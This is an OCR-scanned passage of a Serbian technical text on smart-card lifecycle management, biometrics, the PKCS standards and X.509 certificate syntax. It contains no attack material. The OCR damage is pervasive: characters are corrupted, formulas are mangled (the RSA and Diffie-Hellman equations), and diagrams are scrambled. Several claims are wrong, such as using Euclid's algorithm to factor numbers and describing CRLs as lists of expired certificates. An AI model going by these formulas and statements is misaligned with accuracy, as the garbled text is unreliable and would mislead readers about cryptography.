- Sistem za personalizaciju kartica sluzi za unos licnih podataka

korisnika
kartice na samu Karticu,

- Sistem za registraciju novoizdatih kartica. Koristi se za verifikaciju
personalizovanih kartica, kako bi digitalni sertifikati na karticama bili
objavljeni i prepoznati u okviru datog PKI sistema,

- Sistem za prijem zahteva za izdavanjem digitalnih sertifikata, odnosno

smart
kartica,

- Citaéi kartica, neophodni interfejs za primenu smart kartica.

Aplikacije,

Predstavljaju deo softvera koji je implementiran na Cipu i Koji je

neophodan za obavljanje poslova sa karticama za predvidene namene,

Inerfejs prema ranije projektovanim bazama podataka,

Komponenta neophodna za konekciju prema bazama podataka koje su

projektovane i realizovane u alatima koji pripadaju prethodnim

generacijama alata za obradu baza podataka.

Upravljanje Zivotnim vekom kartice

Svaka Kkartica ima svoj zivotni vek, za vreme koga je neophodno vrSiti
predvidene radnje u cilju obezebedivanja nesmetanog funkcionisanja PKI
sistema. Osnovne faze kroz koje prolazi jedna kartica su sledece :

Nabavka kartica,

Predstavlja prvi korak u zivotnom veku kartice koji zapocinje
porudzbinom kartica od proizvodaca,

Inicijalizacija kartica,

Predstavlja deo procesa programiranja Cipa koji se odvija u vise faza :

- Ucitavanje operativnog sistema u ROM,

- Dodeljivanje memorijskih lokacija za svaki podatak,

- Upisivanje jedinstvenog serijskog broja u ROM,

- Generisanje kljuceva,

- Sprovodenje ostalih postupaka inicijalizacije, prema zahtevu
narucioca,

Personalizacija kartica,

Predstavlja proces prilagodavanja kartice pojedinaénom korisniku.
Postupak se sprovodi u vise faza :

- Upisivanje podataka na magnetnu pistu,

- Upisivanje bar koda,
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- U¢itavanje aplikativnog softvera, i eventualno kljuceva,

- Stampanje grafike na kartici,

- Stampanje slike i potpisa na kartici,

- Stampanje podataka specifiénih za posmatranog korisnika,

- Stampanje podataka vezanih za organizaciju koja izdaje kartice.

U okviru procesa personalizacije izvode se i dodatne operacije koje
upotpunjuju proces personalizacije :

- Prevodenje fotografije u digitalni oblik,

- Prevodenje svojeru¢nog potpisa u digitalni oblik,

- Digitalizacija biometrijskih podataka,

- Upisivanje podataka o izdavaocu kartica na €ip,

- Upisivanje podataka iz digitalnog sertifikata na Cip.

Izdavanje kartice,

Predstavlja proces u kome se kartica na propisani nain urucuje
korisniku, uz davanje svih neophodnih uputstava i objasnjenja za njeno
koris¢enje,

Zamena kartice,

Kartica se menja u slucaju da je doslo do poremecaja u radu same
kartice ili u slucaju da je izgubljena ili ukradena. Proces zamene Kartica
podrazumeva :

- Proceduru reizdavanja,

- Proceduru provere izgubljenih ili ukradenih Kkartica,

- Proceduru provere povucenih sertifikata,

- Vreme za deaktivaciju kartice u bazi podataka,

- Osoblje za zaklju€avnje 1 otkljucavanje kartica,

- Proceduru uklanjanja izgubljenih ili ukradenih kartica sa liste,

- Proceduru generisanja novih kljuc¢eva, kao i digitalnih sertifikata,

- VVreme za reizdavanje i reaktivaciju kartice,

- Procedure za restauraciju podataka sa kartice.

Blokiranje/Deblokiranje kartice,

Ukoliko se prijavi gubitak ili krada kartice, kartica se mora deaktivirati,
kako ne bi doslo do njene zloupotrebe.

Resetovanje PIN-a,

Vlasnik kartice mora imati mogucnost promene PIN-a, ukoliko
posumnja da je neko dosao u posed informacije o njegovom PIN-u, kako
bi sacuvao privatnost.

Upravljanje digitalnim sertifikatima,

Predstavlja nezaobilaznu funkciju u PKI sistemu, koja obezbeduje
jedinstvenost svakog sertifikata,

Upravijanje kljucevima,

Generisanje, upravljanje 1 distribucija kljuceva su od vrhunske vaznosti
u PKI sistemu. Sigurnost tajnih klju€eva predstavlja oslonac celokupnog
sistema zaStite. Proces upravljanja kljuevima se moze prikazati
tabelarno :
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Funkcija Operacija

Registracija - Verifikacija
- Prijava
- Registracija i inicijalizacija ¢ipa
Zahtev za izdavanjem - Zahtev za novim sertifikatom ili zahtev za
kljuceva i digitalnog brisanje sertifikata
sertifikata - Zahtev sertifikata od CA

- Zahtev za parom klju¢eva od HSM-a preko
bezbednosnog servera

Cuvanje kljudeva i - HSM ima specificne zahteve koji se moraju
sertifikata uzeti u obzir

Postoji vise tipova kljuceva za karticu. Potrebno je napomenuti da
kljucevi, ¢iji je pregled dat u narednoj tabeli nisu PKI kljucevi.

Tip kljuca na kartici Funkcija

Klju¢ za otvorenu platformu | Kljuc se koristi za zastitu upravljanja
kljuevima na Java karticama

Klju¢ podataka KontroliSe pristup, kao i Citanje i pisanje
podataka u memoriju kartice
Transportni kljucevi Privremeni kljucevi za sigurnosni prenos

kljuceva od proizvodaca do izdavaoca kartice

Klju¢ za otklju¢avanje PIN-a | Omogucava resetovanje PIN-a

Upravljanje bazom podataka vlasnika kartica,

Neophodno je u svakom trenutku imati nedvosmislenu bazu podataka u
kojoj su evidentirani svi korisnici kartica, kako bi se mogucnost
zloupotrebe svela na najmanju mogucu meru,

Korisnicki servisi,

Svrha korisnic¢kih servisa je da olakSaju koriS¢enje smart kartica
imaocima. Neki od korisni¢kih servisa su :

- IzveStavnje o izgubljenim, ukradenim ili oSte¢enim karticama,

- IzveStavanje o pokvarenim karticama,

- lIzvesStavanje o neautorizovanoj ili nasilnoj upotrebi kartice,

- IzveStavanje o promenti licnih podataka koji se nalaze na kartici,...
Pored navedenog, izdavaoc Kkartica obezbeduje uputstva i obuku
imaocima svojih kartica u slede¢em smislu :

- Osnove upotrebe Kartica,

- Upotreba aplikacija na karticama,

- Procedure za zastitu kartice 1 kljuceva,

- ZaStita privatnosti.
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Biometrijski podaci

Na ¢&ipu kartice mogu biti upisani najraznovrsniji podaci. Cest je slu¢aj da se, u
elektronskom obliku, ¢uvaju biometrijski podaci na osnovu kojih je moguce
ali je uobicajeno da se koristi slede¢i set biometrijskih podataka :
- Skenirani otisak prsta,
Oblik papila na vrhovima prstiju je jedinstven za svaku osobu, pa je na
osnovu otiska prsta moguce, veoma pouzdano, identifikovati osobu.
Ipak treba imati na umu, da oko 5% populacije ima veoma plitke papile,
te im je skeniranje i prepoznavanje otisaka prstiju veoma otezano,
- Geometrija Sake,
Geometrija Sake je takode specificna za svaku osobu pa sluzi kao
dodatni identifikacioni element,
- Prepoznavanje lika,
Na licu osobe postoje 24 referentne tacke ciji se relativni raspored ne
menja tokom citavog Zivota, Sto takode predstavlja jedan od mogucih
elemenata za identifikaciju,
- Skeniranje zenice oka,
Svaka osoba ima razliCiti raspored Sara na zenici oka, $to se pokazalo
kao veoma dobar identifikacioni parametar,
- Skeniranje mreznjace oka,
Mreznjada oka kod svakog Coveka je drugacijeg oblika, pa se i taj
parametar Koristi za identifikaciju,
- Prepoznavanje glasa,
Razvijene su relativnho pouzdane metode za prepoznavanje glasa, Sto je
uslovljeno gradom glasnih Zica i govornog aparata svakog coveka na
specifican nacin,
- Svojerucni potpis,
Skenirani svojeruc¢ni potpis predstavlja digitalnu verziju prepoznavanja
potpisa na klasican, grafoloski nacin.
Za jednoznacno prepoznavanje osobe neophodno je koristiti kombinovanje vise
metoda, kako bi se postigla ve¢a pouzdanost biometrijskih metoda.

Zakljucak

Kartice sa mikrokontrolerom ili smart kartice su unele revoluciju u sistem
zaStite podataka, Sto je rezultiralo napretkom u mnogim oblastima od finansija
do identifikacije licnosti. Pojavom PKI sistema, smart kartice su doSle do
punog izrazaja.

U narednom periodu se o¢ekuje dalji razvoj smart kartica, tako da ve¢ postoje
kartice sa tastaturom 1 displejem. Medutim, nije isklju¢ena moguénost prelaska
na neku drugu vrstu tokena.
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APPENDIX D

OSNOVNI ELEMENTI PKCS STANDARDA
(PUBLIC KEY CRYPTOGRAPHY STANDARDS)

Siroko prihvaéen PKI sistem - sistem bezbednosti sa javnim kljudevima,
podrazumeva da bezbednosne aplikacije mogu razvijati razli¢iti proizvodaci.
Cesto se dogada da ne postoji interoperabilnost izmedu razvijenih aplikacija,
iako se proizvodaci striktno pridrZavaju standardnih formata.

PKCS standardi predstavljaju detaljne opise mehanizama koji su razvijene od
strane organizacije RSA Security u saglasnosti sa svetskim proizvodac¢ima
softvera kao Sto su Microsoft, Apple, Sun itd. u cilju efikasnije primene PKI
sistema. Cilj zajednickog razvoja je olak$avanje usvajanja standarda, kako u
toku projektovanja, tako i u fazi primene u kompanijama. PKCS standardi su
prisutni na svim mestima gde se zahteva bezbednost elektronskih podataka.
Svaka aplikacija koja obezbeduje podatke, a pri tome ne poStuje standarde,
svakako ¢e se suociti sa problemima pre ili kasnije, te je postovanje standarda u
oblasti zaStite podataka neophodno. Interoperabilnost aplikacija za primenu
bezbednosnih postupaka, koje se mogu kretati u opsegu od Web browser-a do
zaStite e-mail-ova, u svakom slucaju zavisi od postovanja PKCS standarda.

PKCS standardi su definisani, kako za binarne, tako i za ASCII tipove
podataka. PKCS standardi opisuju sintakse poruka u teorijskom smislu dajuéi
sve detalje u vezi koris¢enih algoritama. Standardi ne definisu formate u
kojima ¢e se poruke predstavljati, iako je BER format koji se preporucuje.

U daljem tekstu ¢e biti prikazan pregled trenutno aktivnih PKCS standarda :

PKCS#1

RSA standard za Sifrovanje. Posmatrani standard definiSe mehanizme za
Sifrovanje i potpisivanje podataka koris¢enjem RSA PKI sistema.

Trenutno vaZeca verzija ovog standarda je verzija v2.1.

PKCS #1 standard definise :

1. Kriptografske elemente,

2. Nacine Sifrovanja i deSifrovanja,
3. Nacine potpisivanja i verifikovanja potpisa.
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1. Kriptografski elementi

Bezbednost RSA algoritma se zasniva na komplikovanom i dugotrajnom
rastavljanju velikih brojeva na proste ¢inioce. Svakako, moguce je svaki slozen
broj rastaviti na proste ¢inioce, ali se postavlja pitanje racunarskih kapaciteta 1
utroSenog vremena da bi se taj cilj ostvario. Potrebno je napomenuti da se za
rastavljanje broja na proste ¢inioce moze koristiti Euklidov algoritam ili
proSireni Euklidiv algoritam.

Da bi se generisala dva kljuca, biramo dva slucajna, velika prosta broja p i ¢, a
zatim raCunamo njihov proizvod :

n=pq
Nakon toga biramo sluc¢ajan klju¢ za Sifrovanje, e, takavdasuei (p-1)(q-1)
uzajamno prosti.
I na kraju, koriste¢i proSireni Euklidov algoritam raCunamo klju¢ za
desifrovanje d, tako da je :

ed=1mod (p-1)(q-1)
ili

d=e"mod ((p-1)(g- 1))
Primetimo da su d i n takode uzajamno prosti brojevi. Brojevi e i n ¢ine javni
klju¢, dok d predstavlja tajni kljuc.

Prosti brojevi se takode koriste za konverziju podataka iz otvorenog teksta u
nizove od po osam bita - oktete i obrnuto. Za tu namenu se Kkoriste dva
standardna nacina konverzije i to :

- 120SP - Integer-to-Octet-String primitive

- OS2IP - Octet-String-to-Integer primitive

Kriptografski elementi, pa i slu¢ajni brojevi, ¢ine instance pomocu kojih je
moguce realizovati kriptografske Seme. Definisana su Cetiri kriptografska
elementa i to u parovima na slede¢i na¢in : Sifrovanje i deSifrovanje, kao i
elektronski potpis i verifikacija.

Sifrovanje predstavlja prevodenje otvorenog teksta u $ifrat pomocéu javnog
kljuca, dok desifrovanje predstavlja inverzan proces, tj. prevodenje Sifrata u
otvoren tekst pomocu tajnog kljuéa. U tu svrhu se Kkoriste dva standardna
nacina realizacije i to RSAEP i RSADP.

Digitalno potpisivanje se vrsi primenom tajnog kljuca, dok se verifikacija vrsi

primenom odgovarajuéeg javnog kljuéa. Za tu namenu se Kkoriste dva
standrdna nacina realizacije i to RSASP1 i RSAVP1.
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2. Nacini Sifrovanja i deSifrovanja

Standardni nacini Sifrovanja su definisani procedurama RSAES-OAEP-Encrypt
kao 1 RSAES-PKCS1-vl 5-Encrypt, dok je deSifrovanje definisano
procedurama RSAES-OAEP-Decrypt kao i RSAES-PKCS1-vl_5-Decrypt.

3. Nacini potpisivanja i verifikovanja potpisa

Standardni nacini potpisivanja je definisan procedurom RSASSA-PKCS1-vl_5-
Sign, dok je verifikacija potpisa definisana procedurom RSASSA-PKCS1-v1 5-
Verify.

PKCS#3
Standard za Diffie-Hellman-ov key-agreement. Standard definiSe protokol za
razmenu kljuceva.

Diffie-Hellman-ov algoritam se moze definisati u dve faze :
1. Faza
Prva faza se sastoji od tri koraka :
- Generisanje tajne vrednosti :
Generi$e se tajna slucajna vrednost celog broja x koja zadovoljava uslov

0<x<p-1
gde je p prost broj tako da je duZzina tajnog broja u okvirima koje zadaje
CA tj. duzine |. U tom sluéaju ceo broj mora zadovoljiti uslov :
2l-1<x <2l
- Stepenovanje,
se vr$i na slede¢i nacin :
y=gXmodp, O<y<p
gde je g osnova, ay javna vrednost.
- Konverzija celih brojeva u nizove od po osam bita - oktete :
Celobrojna javna vrednost y se konvertuje u oktete PV duZine k.
2. Faza
Druga faza se, takode, sastoji od tri koraka :
- Konverzija okteta u celobrojne vrednosti :
GeneriSe se tajna slucajna vrednost celog broja x koja zadovoljava uslov

0 < x < p-1 gde je p prost broj tako da je duzina tajnog broja u okvirima
koje zadaje CA tj. duzine I. U tom slucaju ceo broj mora zadovoljiti
uslov :
2l-l <x <2l

- Stepenovanje,
se vrsi na slede¢i nacin :
z=(y)*modp, O<z<p
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gde je y' celobrojna vrednost dobijena u prethodnom koraku, z
celobrojni tajni kljuc.

Konverzija celih brojeva u oktete :

Celobrojna tajna vrednost z se konvertuje u oktete SK.

PKCS#5

Standard za Sifrovanje/deSifrovanje zasnovan na lozinki (the password-based
encryption standard - PBE). Standard opisuje metod generisanja tajnog kljuca
zasnovanog na lozinki.

Sifrovanje :
Sifrovanje se sastoji iz tri koraka :

Generisanje DES kljuca :

DES klju¢ K i inicijalizuju¢i vektor 1V se generiSu iz lozinke P i
vrednosti S kao i brojaca iteracija C.

Sifrovanje formatiranjem blokova :

Poruka M i niz za Sifrovanje PS se formatiraju kao osmobitni, oktet
nizovi, Sifrovani blokovi EB.

DES Sifrovanje :

Sifrovani blok EB se $ifruje primenom DES algoritma pri ¢emu se kao
rezultat dobija Sifrat C.

Desifrovanje :
Desifrovanje se sastoji iz tri koraka :

Generisanje DES kljuca :

DES klju¢ K i inicijalizuju¢i vektor IV se generiSu iz lozinke P i
vrednosti S kao i brojaca iteracija ¢, kao i kod procesa Sifrovanja.

DES desifrovanje :

Sifrat C se deSifruje primenom DES algoritma, kljuéem K i
inicijalizuju¢im vektorom IV, pri ¢emu se kao rezultat dobija Sifrovani
blok EB.

Rastavljanje Sifrovanih blokova :

Sifrovani blok EB se rastavlja na poruku M i niz za Sifrovanje PS.

PKCS#6

Prosireni standard sintakse digitalnog sertifikata. Trenutno je u upotrebi verzija
X.509 v3.

ProSirena sintaksa digitalnog sertifikata se sastoji od tri dela :
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- Informacije u proSirenom digitalnom sertifikatu :
se sastoje od X.509 sertifikata, koji je ve¢ potpisan od strane CA Koji je
sertifikat izdao. Sadrzi niz atributa koji pruzaju informacije o entitetu
¢iji se javni klju€ nalazi na posmatranom sertifikatu.

- ldentifikator algoritma potpisa :
DefiniSe algoritam koji se koristi prilikom generisanja digitalnog
potpisa.

- Digitalni potpis :
Digitalni sertifikat je potpisan tajnim klju¢em CA.

Elementi X.509 sertifikata se mogu detaljnije sagledati iz sledece sintakse :

Certificatelnfo ::= SEQUENCE {
version [0] Version DEFAULT v1988,
serialNumber CertificateSerialNumber,
signature Algorithmldentifier,
issuer Name,
validity Validity,
subject Name,
subjectPublicKeylnfo SubjectPublicKeylnfo }

Version ::= INTEGER { v1988(0) }
CertificateSerialNumber ::= INTEGER
Validity ::= SEQUENCE {

notBefore UTCTime,
notAfter UTCTime }

SubjectPublicKeylnfo ::= SEQUENCE {
algorithm Algorithmldentifier,
subjectPublicKey BIT STRING }

Algorithmldentifier ::= SEQUENCE {
algorithm OBJECT IDENTIFIER,
parameters ANY DEFINED BY ALGORITHM OPTIONAL }

Na kraju je potrebno napomenuti da digitalni sertifikat predstavlja neku vrstu

“Digitalne licne karte” koja povezuje entitet sa njegovim javnim kljucem.
Digitalni sertifikat nedvosmisleno utvrduje identitet ucesnika u komunikaciji.

PKCS#7

Standard sintakse za kriptografske poruke. DefiniSe opStu sintaksu Sifrovane
poruke.

Neki od entiteta koje PKCS #7 standard definiSe su :

- Lista povucenih sertifikata
CertificateRevocationLists :
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Predstavlja listu sertifikata kojima je istekao rok vazenja. Pre bilo kakve
akcije nad podacima koji su potpisani od strane ucesnika u
komunikaciji, proverava se da li je sertifikat vazeci ili ne.

- Identifikator algoritma
ContentEncryptionAlgorithmldentifier:
DefiniSe tip algoritma koji se koristi.

- Prosireni sertifikat ili sertifikat
ExtendedCertificateOrCertificate
Bazira se na X.509 sertidikatu kako je to ve¢ opisano, a detaljnije dato u
Appendix-u E.

- lzdavac sertifikata i serijski broj sertifikata
ExtendedCertificatesAndCertificates
DefiniSe CA koji je izdao sertifikat kao i serijski broj sertifikata.

- Verzija-Version
Verzija digitalnog sertifikata koja govori o podacima koji su u
sertifikatu sadrzani.

- Kompatibilnost sa poboljSanim tajnim e-mail-om.

- Tip podataka za anvelopu - EnvelopedData :
DefiniSe podatke neophodne za formiranje digitalne anvelope.

- Podaci neophodni za anvelopu i digitalni potpis
SignedAndEnvelopedData :
DefiniSe podatke neophodne za formiranje digitalnog potpisa i digitalne
anvelope.

PKCS#8

Standard za sintaksu seta podataka koji sadrzi informacije 0 tajnom kljucu.
Definise metod ¢uvanja informacija o tajnom kljucu.

Informacije o tajnom kljucu se mogu definisati sledecom sintaksom :

PrivateKeylInfo ::= SEQUENCE {
version Version,
privateKeyAlgorithm PrivateKeyAlgorithmldentifier,
privateKey PrivateKey,
attributes [0] IMPLICIT Attributes OPTIONAL }

Version ::= INTEGER
PrivateKeyAlgorithmldentifier ::= Algorithmldentifier

OCTET STRING

PrivateKey ::

Attributes ::= SET OF Attribute

Cuvanje tajnog klju¢a ima jednu od kljuénih uloga u PKI sistemu.
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PKCS#9
DefiniSe tipove atributa koje koriste ostali PKCS standardi.

Atributi koje koriste ostali PKCS standardi su sledeci :
- businessCategory,
- commonName,
- countryName,
- description,
- destinationindicator,
- TacsimileTelephoneNumber,
- 1SDNAddress,
- localityName,
- member,
- objectClass,
- organizationName,
- physicalDeliveryOfficeName,
- postalAddress,
- postalCode,
- postOfficeBox,
- preferredDeliveryMethod,
- presentationAddress,
- registeredAddress,
- roleOccupant,
- serialNumber,
- stateOrProvinceName,
- streetAddress,
- supportedApplicationContext,
- surname,
- telephoneNumber,
- teletexTerminalldentifier,
- telexNumber,
- title,
- x121Address.

PKCS # 10

Standard sintakse za zahtevanje sertifikata.

Zahtev za izdavanje sertifikata se sastoji iz tri segmenta :
- Informacija o zahtevu za izdavanje sertifikata :

sadrzi : specifi€no ime entiteta, javni kljuc entiteta kao 1 grupu atributa
koji sadrze informacije o entitetu.
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Sintaksa je sledeceg oblika :

CertificationRequestinfo:
CertificationRequestinfo ::= SEQUENCE {
version Version,
subject Name,
subjectPublicKeylnfo SubjectPublicKeylnfo,
attributes [0] IMPLICIT Attributes }

Version ::= INTEGER

Attributes ::= SET OF Attribute

- ldentifikator algoritma potpisa :
definiSe algoritam koji se koristi za digitalno potpisivanje.
Sintaksa je sledeceg oblika :

CertificationRequest ::= SEQUENCE {
certificationRequestinfo
CertificationRequestinfo,
signatureAlgorithm SignatureAlgorithmldentifier,
signature Signature }

SignatureAlgorithmldentifier ::= Algorithmldentifier

Signature ::= BIT STRING

- Digitalni potpis na informaciji o zahtevu za izdavanje sertifikata :
zahtev se potpisuje tajnim kljucem entiteta.
Sintaksa je sledeceg oblika :

CertificationRequest ::= SIGNED CertificateRequestinfo

PKCS# 11
Standard za interfejs kriptografskog tokena - Cryptoki. Definise tehnologiju

nezavisnog programiranja interfejsa kriptografskog uredaja, kao Sto je na
primer smart kartica.
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Generalna Cryptoki Sema je data na sledecoj slici :

| fplikaciia 1 | | fplikaciia k |
Il Il

| Drugi sigumosi i _ | | Drugi sigumosi i _ |

Cryptoki | | Cryptoki |

; Uredajéinhraniz ator |

— —

| Slat 1 | Slat i |
Tuhen 1 Tuhenn
{Uredaj 13 (Uredajn’

PKCS # 12

Standard definiSe sintaksu za razmenu li¢nih informacija, ukljucujuéi tajne
kljuceve, sertifikate, razne druge tajne podatke i1 ekstenzije. Aplikacije,
browser-i, Internet eksplorer i sli¢ni paketi koji podrzavaju ovaj standard
dozvoljavaju korisniku da Salje ili prima set li¢nih podataka za identifikaciju.
Standard podrzava razmenu li¢nih informacija na nekoliko nacina i to u modu
tajnosti, kao i u modu integriteta. Najsigurniji nacin razmene pomenutih
podataka podrazumeva da izvorna i odrediSna platforma imaju odgovarajuéi
par kljuceva (tajni i javni) kojim se moze digitalno potpisivati, a takode vrsiti i
Sifrovanje podataka. Takode su podrzani nizi nivoi bezbednosti zasnovani na
lozinki, kada nije moguée obezbediti par klju¢eva. Standard je pogodan kako
za softversku, tako i za hardversku primenu. Na opisani naéin se obezbeduje
fizicka bezbednost tokena kao Sto su smart kartice i CMCIA uredaji.

Postoje Cetiri kombinacije moda tajnosti i moda integriteta i to :

- Public-key privacy mode:
Licne informacije se =zaSticuju anvelopom na izvornoj platformi
koris¢enjem javnog kljuca za Sifrovanje koji pripada odredi$noj
platformi. Anvelopa sa otvara odgovaraju¢im tajnim kljucem.

- Password privacy mode:
Li¢ne informacije se Sifruju simetricnim klju¢em koji se izvodi iz
korisni¢kog imena 1 lozinke.

- Public-key integrity mode:
Integrite se garantuje koris¢enjem digitalnog potpisa koji se generiSe na
izvornoj platformi koris¢enjem tajnog kljuca za potpisivanje. Potpis se
verifikuje na odrediSnoj platformi primenom odgovaraju¢eg javnog
kljuca.

- Password integrity mode:
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Integritet se garantuje putem autentifikacionog koda poruke - message
authentication code (MAC) koji se izvodi iz tajne lozinke.

Svaka platforma mora uditavati AuthenticatedSafe protokola za podatke
(PDU). Sledi izgled sintakse za PFX, kao najvisi nivo PDU :

PFX ::= SEQUENCE {
version INTEGER {v3(3)}(Vv3,...),
authSafe Contentinfo,
macData MacData OPTIONAL
3
MacData ::= SEQUENCE {
mac Digestinfo,
macSalt OCTET STRING,

iterations |INTEGER DEFAULT 1

—-— Note: The default is for historical reasons and its use is
deprecated. A higher

-— value, like 1024, is recommended.

PKCS # 13

Kriptografski standard za elipticke krive. Opisuje mehanizme Sifrovanja i
potpisivanja podataka koriS¢enjem kriptosistema eliptickih krivih.

Sifrovanje primenom eliptickih krivih ne podrazumeva nove kriptografske
algoritme, ve¢ implementaciju postojecih PKI algoritama, kao Sto je na primer
Diffie-Hellman-ov algoritam koris¢enjem eliptickih krivih. Elipti¢ke krive
definiSu elemenate i pravila kombinovanja a na taj nacin formiranje grupa.
Opisane grupe imaju dovoljno kvaliteta za gradenje kriptografskih algoritama,
medutim nemaju odredena bezbednosna svojstva, Sto relativno olakSava
kriptoanalizu. Na primer, nije dovoljno dobro definisan pojam glatkosti
eliptickih krivih, iz razloga nepostojanja grupe diskretnih elemenata medu
kojima slucajno izabrani elementi imaju solidnu verovatno¢u da budu izrazeni
putem jednostavnog algoritma. Sto zna¢i da radunanje diskretnog logaritma
algoritma ne funkcioniSe.

Elipticke krive nad konaénim poljem veli¢ine 2" su interesantne za primenu u
kriptografiji. Konstrukcija aritmetickog procesora je jednostavna kao i
implementacija ako se n krece u opsegu od 130 do 200. Na ovaj nacin je
moguce realizovati brzi PKI Kkriptosistem sa manjom duzinom kljuc¢a. Mnogi
PKI algoritmi kao Sto su Diffie-Hellman, ElGamal i drugi, mogu biti
primenjeni u elipti¢kim krivim nad kona¢nim poljem.
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PKCS# 14

DefiniSe generator pseudoslucajnih brojeva - PRNG. Trenutno je u fazi
aktivnog razvoja.

PKCS # 15
Standard formata informacija koje su cuvaju na kriptografskom tokenu.

Kriptografski tokeni mogu upravljati informacijama za autentifikaciju kao Sto
su digitalni sertifikati, kriptografski kljucevi i1 drugo. Pored toga, u moguénosti
su da obezbede sigurno Cuvanje i izracunavanje veli¢ina neophodnih za
autentifikaciju kao Sto su :

- tajni kljucevi ili njihovi delovi,

- izracunati brojevi,

- lozinke,

- prava pristupa pojedinim resursima.

Istovremeno, mnogi tokeni sprovode izolovane procese koriste¢i spoljasnje
informacije, bez izlaganja podataka neprijateljskoj okolini. Pri tome se imaju
na umu .
- generisanje digitalnog potpisa koris¢enjem tajnog kljuca za li¢nu
identifikaciju,
- autentifikacija na mrezi.

Na Zzalost, upotreba tokena za autentifikaciju i autorizaciju nije pogodna iz
razloga nedostatka interoperabilnosti na nekoliko nivoa. Pre svega, ne postoje
industrijski standardi za Cuvanje uobiCajenog formata digitalnih dokumenata
(kljucevi, sertifikati, itd.). Zato je teSko napraviti aplikaciju koja moze raditi sa
dokumentima koje definiSu razli¢iti proizvodadi. 1z navednih razloga
neophodno je obezbediti sledece :
- neutralnost platforme - omogucavanje interoperabilnosti izmedu
komponenti koje rade na razli¢itim platformama,
- neutralnost dobavljaca (vendora) - omogucavanje aplikaciji da koristi
prednosti proizvoda 1 komponenti razli€itih proizvodaca,
- neutralnost aplikacije - omogucavanje koris¢enja tehnoloskog napretka
bez ponovnog pisanja softvera na aplikativnom nivou,
- obezbedivanje konzistencije sa odgovaraju¢im standardima.
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Sema tokena prema PKCS #15 standardu je data na sledecoj slici :

Aplikacija

PKCS#11 -
Interface

Nezavisni

drajver aplikacije FTCS#%S

na kartici nterpreter
Card Terminal -
Interface

Funkcija za dobijanje kljuca mozZe imati slede¢i izgled :

KeyDerivationAlgorithms ALGORITHM-IDENTIFIER ::= {
PBKDF2Algorithms,
. — For future extensions

i

Dok funkcija za Sifrovanje sesijskog kljuca (Symmetric Key-Encryption
Algorithms), za informacije prilikom autentifikacije (Message Authentication
Code Algorithms), za kriptografsku hash funkciju (Digest Algorithms) kao i za
Sifrovanje podataka (Content Encryption Algorithms) moze imati sledeci izgled :

KeyEncryptionAlgorithms ALGORITHM-IDENTIFIER ::= {
{NULL IDENTIFIED BY id-alg-CMS3DESwrap} |
{INTEGER IDENTIFIED BY id-alg-CMSRC2wrap},
--. —— For future extensions
}
ContentEncryptionAlgorithms ALGORITHM-IDENTIFIER ::= {
SupportingAlgorithms EXCEPT {NULL IDENTIFIED BY id-
hmacWithSHAL},
—-- SupportingAlgorithms are defined in PKCS #5 v2
--. —— For future extensions

3
MACAlgorithms ALGORITHM-IDENTIFIER ::= {
{NULL IDENTIFIED BY hMAC-SHA1},
... — For future extensions
s
DigestAlgorithms ALGORITHM-IDENTIFIER ::= {
{NULL IDENTIFIED BY sha-1}%,
. — For future extensions

i
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Primedba: PKCS # 2 i PKCS # 4 viSe ne postoje posto su inkorporirani u
PKCS # 1.

Moze se zakljuciti sa su dve osnovne komponente koje su standardizovane
PKCS standardima : sintaksa poruke i karakteristicni algoritmi. Ova dva
entiteta se mogu posmatrati kao dva relativno nezavisna, odvojena nivoa.

Takode se moze zakljuciti da su uobi¢ajeni postupci u kojima se koriste PKCS
standardi :

1. Digitalno potpisivanje,

2. Digitalna anvelopa,

3. Digitalni sertifikati,

4. Razmena kljuceva,

5. Standard za Sifrovanje zasnovan na lozinki,
i drugo.
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APPENDIX E

OSNOVNI ELEMENTI X.509 STANDARDA

Standard X.509 definiSe digitalni sertifikat u PKI sistemu, a takode dfinise i
naéin objavljivanja liste povucéenih ili isteklih digitalnih sertifikasta - CRL.
Trenutno vazeca verzija ovog standarda je X.509 v3 za digitalne sertifikate,
kao i X.509 v2 za CRL. Standard se koristi prilikom razvoja aplikacija za www,
elektronsku postu, autentifikaciju korisnika, kao i za Ipsec. Prilikom primene
standarda treba imati u vidu razvoj sistema za upravljanje sertifikatima, razvoj
aplikativnih alata kao i ograniCenja u pogledu interoperabilnosti, koja su
definisana politikom sertifikacije. Svaki korisnik digitalnog sertifikata bi
trebalo da bude upoznat sa politikom sertifikacije CA kako bi bio upoznat sa
svojim pravima i obavezama. Upotreba standarda X.509 ne podrazumeva sama
po sebi koriséenje X.500 ili LDAP Directory sistema, ali ih i ne zabranjuje, vec¢
dozvoljava bilo koji nacin objavljivanja CRL-a. Cilj celokupnog PKI sistema je
omogucéavanje automatske identifikacije, autentifikacije, autorizacije, kao i
kontrole pristupa racunarskim resursima. Kao podrSku navedenim servisima,
sertifikat sadrzi niz atributa i pomocne kontrolne informacije o politici
sertifikacije.

Sertifikat X.509 Verzije 3 se moze definisati sledeCom sintaksom :

Certificate ::= SEQUENCE {
tbsCertificate TBSCertificate,
signatureAlgorithm  Algorithmldentifier,
signatureValue BIT STRING }
TBSCertificate ::= SEQUENCE {
version [0] EXPLICIT Version DEFAULT vi,
serialNumber CertificateSerialNumber,
signature Algorithmldentifier,
issuer Name,
validity Validity,
subject Name,

subjectPublicKeylnfo SubjectPublicKeylnfo,
issuerUniquelD [1] IMPLICIT Uniqueldentifier OPTIONAL,

-— IT present, version MUST be v2 or v3
subjectUniquelD [2] IMPLICIT Uniqueldentifier OPTIONAL,

-— If present, version MUST be v2 or v3
extensions [31 EXPLICIT Extensions OPTIONAL

-— 1T present, version MUST be v3

}
Version ::= |INTEGER { v1(0), v2(1), v3(2) }
CertificateSerialNumber ::= [INTEGER
Validity ::= SEQUENCE {

notBefore Time,
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notAfter Time }

Time ::= CHOICE {

utcTime UTCTime,

generalTime GeneralizedTime }
Uniqueldentifier ::= BIT STRING
SubjectPublicKeylnfo ::= SEQUENCE {

algorithm Algorithmldentifier,

subjectPublicKey BIT STRING }
Extensions ::= SEQUENCE SIZE (1..MAX) OF Extension
Extension ::= SEQUENCE {

extnlD OBJECT IDENTIFIER,

critical BOOLEAN DEFAULT FALSE,
extnvValue  OCTET STRING }

Sertifikat je sekvenca (SEQUENCE) od tri neophodna polja, a to su :

tbsCertificate, polje sadrzi ime subjekta kao i izdavaoca, javni kljuc¢
subjekta, period vaznosti, kao i druge informacije,

signatureAlgorithm, polje sadrzi identifikator kriptografskog algoritma
koji koristi CA za potpisivanje sertifikata,

signatureValue, sadrzi digitalni potpis izracunat u odnosu na ASN.1
DER tbsCertificate.

Ostala polja su :

Name

